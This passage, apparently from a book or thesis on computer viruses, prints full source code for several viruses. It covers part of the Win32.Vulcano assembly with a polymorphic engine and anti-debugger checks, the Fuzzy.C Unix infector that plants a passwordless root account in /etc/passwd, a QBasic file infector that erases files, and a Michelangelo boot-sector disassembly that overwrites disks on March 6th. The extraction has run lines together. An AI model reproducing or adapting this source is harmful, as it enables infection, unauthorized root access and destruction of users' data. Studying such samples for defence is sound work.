Examplescall randomadd esi, eaxmovsbpush 0call randomstosdretjcj: call rjunkjc ;junkpush edx;CALL label1push ebx;junkpush ecx;JMP label2mov al, 0e8h;junkstosb;label1: junkpush edi;RETstosd;junkpush edi;label2:call rjunkjc;junkmov al, 0e9hstosbmov ecx, edistosdmov ebx, edicall rjunkjcpop eaxsub eax, edineg eaxmov edx, edipop edistosdmov edi, edxcall rjunkjcmov al, 0c3hstosbcall rjunkjcsub ebx, edineg ebxxchg eax, ebxpush edimov edi, ecxstosdpop edicall rjunkjcpop ecxpop ebxpop edxretrjunk endpBPE32 EndP ;BPE32 ends here88


ExamplesszK32 db 'KERNEL32.dll',0 ;name of DLLsice95 db '\\.\SICE',0 ;SoftICE/95/98siceNT db '\\.\NTICE',0 ;SoftICE/NT;APIs needed at run-timecrcAPIs dd 0AE17EBEFh ;FindFirstFileAdd 0AA700106h ;FindNextFileAdd 0C200BE21h ;FindClosedd 03C19E536h ;SetFileAttributesAdd 04B2A3E7Dh ;SetFileTimedd 08C892DDFh ;CreateFileAdd 096B2D96Ch ;CreateFileMappingAdd 0797B49ECh ;MapViewOfFiledd 094524B42h ;UnmapViewOfFiledd 019F33607h ;CreateThreaddd 0D4540229h ;WaitForSingleObjectdd 068624A9Dh ;CloseHandledd 020B943E7h ;CreateMutexAdd 0C449CF4Eh ;ReleaseMutexdd 0C6F22166h ;OpenMutexAdd 00AC136BAh ;Sleepdd 079C3D4BBh ;VirtualProtectdd 0EB1CE85Ch ;GetCurrentProcessIddd 033D350C4h ;OpenProcessdd 041A050AFh ;TerminateProcessdd 04134D1ADh ;LoadLibraryAdd 0FFC97C1Fh ;GetProcAddressdd 0AFDF191Fh ;FreeLibrary;APIs to hookcrchAPIs dd 0AE17EBEFh ;FindFirstFileAdd 0AA700106h ;FindNextFileAdd 05BD05DB1h ;CopyFileAdd 0953F2B64h ;CopyFileExAdd 08C892DDFh ;CreateFileAdd 0267E0B05h ;CreateProcessAdd 0DE256FDEh ;DeleteFileAdd 0C633D3DEh ;GetFileAttributesAdd 08F48B20Dh ;GetFullPathNameAdd 0F2F886E3h ;_lopendd 02308923Fh ;MoveFileAdd 03BE43958h ;MoveFileExAdd 068D8FC46h ;OpenFiledd 03C19E536h ;SetFileAttributesAdd 028452C4Fh ;WinExecdd 040F57181h ;ExitProcessdd 0058F9201h ;ExitThread89


Examplesdd 087D52C94h ;GetLastErrordd 068624A9Dh ;CloseHandle;APIs to patchcrcpAPIs dd 0E141042Ah ;GetProcessHeapdd 042F13D06h ;GetVersiondd 0DE5C074Ch ;GetVersionExdd 052CA6A8Dh ;GetStartupInfoAdd 04E52DF5Ah ;GetStartupInfoWdd 03921BF03h ;GetCommandLineAdd 025B90AD4h ;GetCommandLineWdd 003690E66h ;GetCurrentProcessdd 019F33607h ;CreateThreaddd 082B618D4h ;GetModuleHandleAdd 09E2EAD03h ;GetModuleHandleWdd ?<strong>virus</strong>_end:;end of <strong>virus</strong> in hosttmp dd ? ;temporary variableorg tmp;overlayWFD WIN32_FIND_DATA ? ;Win32 Find DataWFD2 WIN32_FIND_DATA ? ;Win32 Find Datadata_buffer db 256 dup (?) ;buffer for VLCB_TDatasize_unint = $ - <strong>virus</strong>_end;size of unitialized;variables;used only by first generation of <strong>virus</strong>workspace1 db 16 dup (?) ;usd by compressionworkspace2 db 16 dup (?) ;engine_GetModuleHandleA dd offset GetModuleHandleAends;end of code sectionEnd first_gen;end of <strong>virus</strong>4.3 Fuzzy.C4.3.1 Discription Given by AuthorThe module infector for Linux kernels published recently on rootshellinspired me to take a look at some old code, that was able to spawn itself ona FreeBSD host and run arbitrary commands as root as soon as one infectedfile was run by root.90


ExamplesThis is more or less the same principle like the "bliss" <strong>virus</strong>, however Inever managed to get the sources for that one. This <strong>virus</strong> is *really* simple,it searches for files with write permission by brute force trying to infect files.It will then infect the file with arbitary code and mark it as infected.The default "malicious" action is to add a uid 0 user to /etc/passwd.This source can be freely modified to do anything else. I figured out that thiscould for example help someone keeping who rooted a box. Another usewould be to put in something like in ADMw0rm - for example a remote bufferoverflow or a remote NFS scanner that scans for remote holes when the <strong>virus</strong>is running and gives remote root to infect other systems.4.3.2 Source Code/* fuzz.c - example of a Unix Virus* works on: Linux 1.x, Linux 2.x, FreeBSD 2.x* possibly works on: Any BSD, SunOS, HPUX, IRIX */#include #ínclude #include #include #include DIR *dirp; /* directory search structure */struct dirent *dp; /* directory entry record */struct stat st; /* file status record */int stst; /* status-call status */FILE *host,*<strong>virus</strong>, *pwf; /* host/<strong>virus</strong>/passwd file */long FileID; /* 1st 4 bytes of host */char buf[512]; /* buffer for disk reads/writes */char *lc,*ld; /* used to search for <strong>virus</strong> */size_t amt_read,hst_size; /* amount read from file, host size */size_t vir_size=13264; /* size of <strong>virus</strong>, in bytes */char dirname[10]; /* subdir where <strong>virus</strong> stores itself */char hst[512];/* line being added to /etc/passwd */char mixter[]="mixter::0:0:root:/:/bin/sh";void readline() {91


Exampleslc=&buf[1];buf[0]=0;while (*(lc-1)!=10) {fread(lc,1,1,pwf);lc++;}}void writeline() {lc=&buf[1];while (*(lc-1)!=10) {fwrite(lc,1,1,host);lc++;}}int main(argc, argv, envp) /* use evironment pathname, ANSI compliant */int argc; char *argv[], *envp[];{strcpy((char *)&dirname,"./\005"); /* get host directory */dirp=opendir("."); /* begin directory search */while ((dp=readdir(dirp))!=NULL) { /* have a file, check it out */if ((stst=stat((const char *)&dp->d_name,&st))==0) { /* get status */lc=(char *)&dp->d_name;while (*lc!=0) lc++;lc=lc-3; /* lc points to last 3 chars in file name */if ((!((*lc=='X')&&(*(lc+1)=='2')&&(*(lc+2)=='3'))) /* infected? */&&(st.st_mode&S_IXUSR!=0)) { /* and executable? */strcpy((char *)&buf,(char *)&dirname);strcat((char *)&buf,"/");strcat((char *)&buf,(char *)&dp->d_name); /* see if infected file */strcat((char *)&buf,".fuzz"); /* exists already */if ((host=fopen((char *)&buf,"r"))!=NULL) fclose(host);else { /* no it doesn't - infect! */host=fopen((char *)&dp->d_name,"r");fseek(host,0L,SEEK_END); /* determine host size */hst_size=ftell(host);fclose(host);if (hst_size>=vir_size) { /* host must be large than <strong>virus</strong> */mkdir((char *)&dirname,S_IRWXU|S_IRWXG|S_IRWXO);rename((char *)&dp->d_name,(char *)&buf); /* rename host */if ((<strong>virus</strong>=fopen(argv[0],"r"))!=NULL) {if ((host=fopen((char *)&dp->d_name,"w"))!=NULL) {while (!feof(<strong>virus</strong>)) { /* and copy <strong>virus</strong> to orig */amt_read=512; /* host name */amt_read=fread(&buf,1,amt_read,<strong>virus</strong>);fwrite(&buf,1,amt_read,host);hst_size=hst_size-amt_read;92


Examples}fwrite(&buf,1,hst_size,host);fclose(host);chmod((char *)&dp->d_name,S_IRWXU|S_IRWXG|S_IRWXO);strcpy((char *)&buf,(char *)&dirname);strcpy((char *)&buf,"/");strcat((char *)&buf,(char *)&dp->d_name);chmod((char *)&buf,S_IRWXU|S_IRWXG|S_IRWXO);}elserename((char *)&buf,(char *)&dp->d_name);fclose(<strong>virus</strong>); /* infection process complete */}elserename((char *)&buf,(char *)&dp->d_name);}}}}}/* INSERT YOUR FUNCTION HERE IF ANY */(void)closedir(dirp); /* infection process complete for this dir *//* now see if we can get at the password file */if ((pwf=fopen("/etc/passwd","r+"))!=NULL) {host=fopen("/etc/.pw","w"); /* temporary file */stst=0;while (!feof(pwf)) {readline(); /* scan the file for user "mixter" */lc=&buf[1];if ((*lc=='m')&&(*(lc+1)=='i')&&(*(lc+2)=='x')&&(*(lc+3)=='t')&&(*(lc+4)=='e')&&(*(lc+5)=='r')) stst=1;writeline();}if (stst==0) { /* if no "mixter" found */strcpy((char *)&buf[1],(char *)&mixter); /* add it */lc=&buf[1]; while (*lc!=0) lc++;*lc=10;writeline();}fclose(host);fclose(pwf);rename("/etc/.pw","/etc/passwd"); /* update passwd */}strcpy((char *)&buf,argv[0]); /* the host is this program's name */lc=(char *)&buf; /* find end of directory path */while (*lc!=0) lc++;while (*lc!='/') lc--;*lc=0; lc++;93


Examplesstrcpy((char *)&hst,(char *)&buf);ld=(char *)&dirname+1; /* insert the ^E directory */strcat((char *)&hst,(char *)ld); /* and put file name on the end */strcat((char *)&hst,"/");strcat((char *)&hst,(char *)lc);strcat((char *)&hst,".fuzz"); /* with <strong>virus</strong> tacked on */execve((char *)&hst,argv,envp); /* execute this program's host */}4.4 Qbasic Virus4.4.1 DescriptionHere’s a <strong>virus</strong> written in Quick Basic, to prove that a <strong>virus</strong> can bewritten in any programming language. (Notice that Win32.Vulcano waswritten in Assembly and Fuzzy.C in C++).4.4.2 Source Code1 REM *** Remember to use /e parameter when compiling.50 ON ERROR GOTO 67090 LENGHTVIR=2641100 VIRROOT$="BV3.EXE"130 SHELL "DIR *.EXE>INH"150 OPEN "R",1,"INH",32000160 GET #1,1170 LINE INPUT#1,ORIGINAL$180 LINE INPUT#1,ORIGINAL$190 LINE INPUT#1,ORIGINAL$200 LINE INPUT#1,ORIGINAL$210 ON ERROR GOT 670220 CLOSE#2230 F=1:LINE INPUT#1,ORIGINAL$270 IF MID$(ORIGINAL$,1,1)="%" THEN GOTO 210280 ORIGINAL$=MID$(ORIGINAL$,1,13)290 EXTENSIONS$=MID$(ORIGINAL,9,13)300 MID$(EXTENSIONS$,1,1)="."320 F=F+194


Examples330 IF MID$(ORIGINAL$,F,1)=" " OR MID$ (ORIGINAL$,F,1)="." OR F=13 THENGOTO 350340 GOTO 320350 ORIGINAL$=MID$(ORIGINAL$,1,F-1)+EXTENSION$360 ON ERROR GOTO 210365 TEST$=""380 OPEN "R",2,OROGINAL$,LENGHTVIR390 IF LOF(2) < LENGHTVIR THEN GOTO 420400 GET #2,2410 LINE INPUT#1,TEST$420 CLOSE#2470 CLOSE#1480 ORIGINALS$=ORIGINAL$490 MID$(ORIGINALS$,1,1)="%"510 C$="COPY "+ORIGINAL$+" "+ORIGINALS$520 SHELL C$540 C$="COPY "+VIRROOT$+ORIGINAL$550 SHELL C$570 OPEN ORIGINAL$ FOR APPEND AS #1 LEN=13580 WRITE#1,ORIGINALS$590 CLOSE#1640 PRINT "INFECTION IN " ;ORIGIANAL$; " !! BE WARE !!"650 SYSTEM670 PRINT "VIRUS INTERNAL ERROR GOTTCHA !!!!":SYSTEM675 SHELL "ECHO Y|ERASE %*.*"680 END4.5 Michelangelo4.5.1 DescriptionThis is a disassembly of the much-hyped and famous michelangelo<strong>virus</strong>. As you can see, it is a derivative of the Stoned <strong>virus</strong>. Thejunk bytes at the end of the file are probably throwbacks to the Stoned<strong>virus</strong>. In any case, it is yet another boot sector and partition tableinfector.95


Examples4.5.2 Source Codemichelangelo segment byte publicassume cs:michelangelo, ds:michelangelo; Disassembly by Dark Angel of PHALCON/SKISMorg 0jmp enter<strong>virus</strong>highmemjmp db 0F5h, 00h, 80h, 9Fhmaxhead db 2 ; used by damagestufffirstsector dw 3oldint13h dd 0C8000256hint13h:push dspush axor dl, dl ; default drive?jnz exitint13h ; exit if notxor ax, axmov ds, axtest byte ptr ds:[43fh], 1 ; disk 0 on?jnz exitint13h ; if not spinning, exitpop axpop dspushfcall dword ptr cs:[oldint13h]; first call old int 13hpushfcall infectdisk ; then infectpopfretf 2exitint13h: pop axpop dsjmp dword ptr cs:[oldint13h]infectdisk:pushpushpushpushpushpushpushpushpushpoppushpopaxbxcxdxdsessidicsdscses96


Examplesreadbootblock:checkinfect:infectitnow:is360Kdisk:quitinfect:mov si, 4mov ax,201h ; Read boot block tomov bx,200h ; after <strong>virus</strong>mov cx,1xor dx,dxpushfcall oldint13hjnc checkinfect ; continue if no errorxor ax,axpushfcall oldint13h ; Reset diskdec si ; loop backjnz readbootblockjmp short quitinfect ; exit if too many failuresxor si,sicldlodswcmp ax,[bx] ; check if already infectedjne infectitnowlodswcmp ax,[bx+2] ; check againje quitinfectmov ax,301h ; Write old boot blockmov dh,1 ; to head 1mov cl,3 ; sector 3cmp byte ptr [bx+15h],0FDh ; 360k disk?je is360Kdiskmov cl,0Ehmov firstsector,cxpushfcall oldint13hjc quitinfect ; exit on errormov si,200h+offset partitioninfomov di,offset partitioninfomov cx,21h ; Copy partition tablecldrep movswmov ax,301h ; Write <strong>virus</strong> to sector 1xor bx,bxmov cx,1xor dx,dxpushfcall oldint13h97


Examplespop dipop sipop espop dspop dxpop cxpop bxpop axretnenter<strong>virus</strong>:xor ax,axmov ds,axclimov ss,axmov ax,7C00h ; Set stack to just belowmov sp,ax ; <strong>virus</strong> load pointstipush ds ; save 0:7C00h on stack forpush ax ; later retfmov ax,ds:[13h*4]mov word ptr ds:[7C00h+offset oldint13h],axmov ax,ds:[13h*4+2]mov word ptr ds:[7C00h+offset oldint13h+2],axmov ax,ds:[413h] ; memory size in Kdec ax ; 1024 Kdec axmov ds:[413h],ax ; move new value inmov cl,6shl ax,cl ; ax = paragraphs of memorymov es,ax ; next line sets seg of jmpmov word ptr ds:[7C00h+2+offset highmemjmp],axmov ax,offset int13hmov ds:[13h*4],axmov ds:[13h*4+2],esmov cx,offset partitioninfomov si,7C00hxor di,dicldrep movsb ; copy to high memory; and transfer control therejmp dword ptr cs:[7C00h+offset highmemjmp]; destination of highmem jmpxor ax,axmov es,axint 13h ; reset diskpush cspop dsmov ax,201h98


Examplesmov bx,7C00hmov cx,firstsectorcmp cx,7 ; hard disk infection?jne floppyboot ; if not, do floppiesmov dx,80h ; Read old partition table ofint 13h ; first hard disk to 0:7C00hjmp short exit<strong>virus</strong>floppyboot:mov cx,firstsector ; read old boot blockmov dx,100h ; to 0:7C00hint 13hjc exit<strong>virus</strong>push cspop esmov ax,201h ; read boot blockmov bx,200h ; of first hard diskmov cx,1mov dx,80hint 13hjc exit<strong>virus</strong>xor si,sicldlodswcmp ax,[bx] ; is it infected?jne infectharddisk ; if not, infect HDlodsw; check infectioncmp ax,[bx+2]jne infectharddiskexit<strong>virus</strong>:xor cx,cx ; Real time clock get datemov ah,4 ; dx = mon/dayint 1Ahcmp dx,306h ; March 6thje damagestuffretf; return control to original; boot block @ 0:7C00hdamagestuff:xor dx,dxmov cx,1smashanothersector:mov ax,309hmov si,firstsectorcmp si,3je smashitmov al,0Ehcmp si,0Ehje smashitmov dl,80h ; first hard disk99


Examplesmov maxhead,4mov al,11hsmashit:mov bx,5000h ; random memory areamov es,bx ; at 5000h:5000hint 13h ; Write al sectors to drive dljnc skiponerror ; skip on errorxor ah,ah ; Reset disk drive dlint 13hskiponerror:inc dh ; next headcmp dh,maxhead ; 2 if floppy, 4 if HDjb smashanothersectorxor dh,dh ; go to next head/cylinderinc chjmp short smashanothersectorinfectharddisk:mov cx,7 ; Write partition table tomov firstsector,cx ; sector 7mov ax,301hmov dx,80hint 13hjc exit<strong>virus</strong>mov si,200h+offset partitioninfo ; Copy partitionmov di,offset partitioninfo ; table informationmov cx,21hrep movswmov ax,301h ; Write to sector 8xor bx,bx ; Copy <strong>virus</strong> to sector 1inc clint 13h;* jmp short 01E0hdb 0EBh, 32h ; ?This should crash?; The following bytes are meaningless.garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53hpartitioninfo: db 42h dup (0)michelangelo endsend100

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!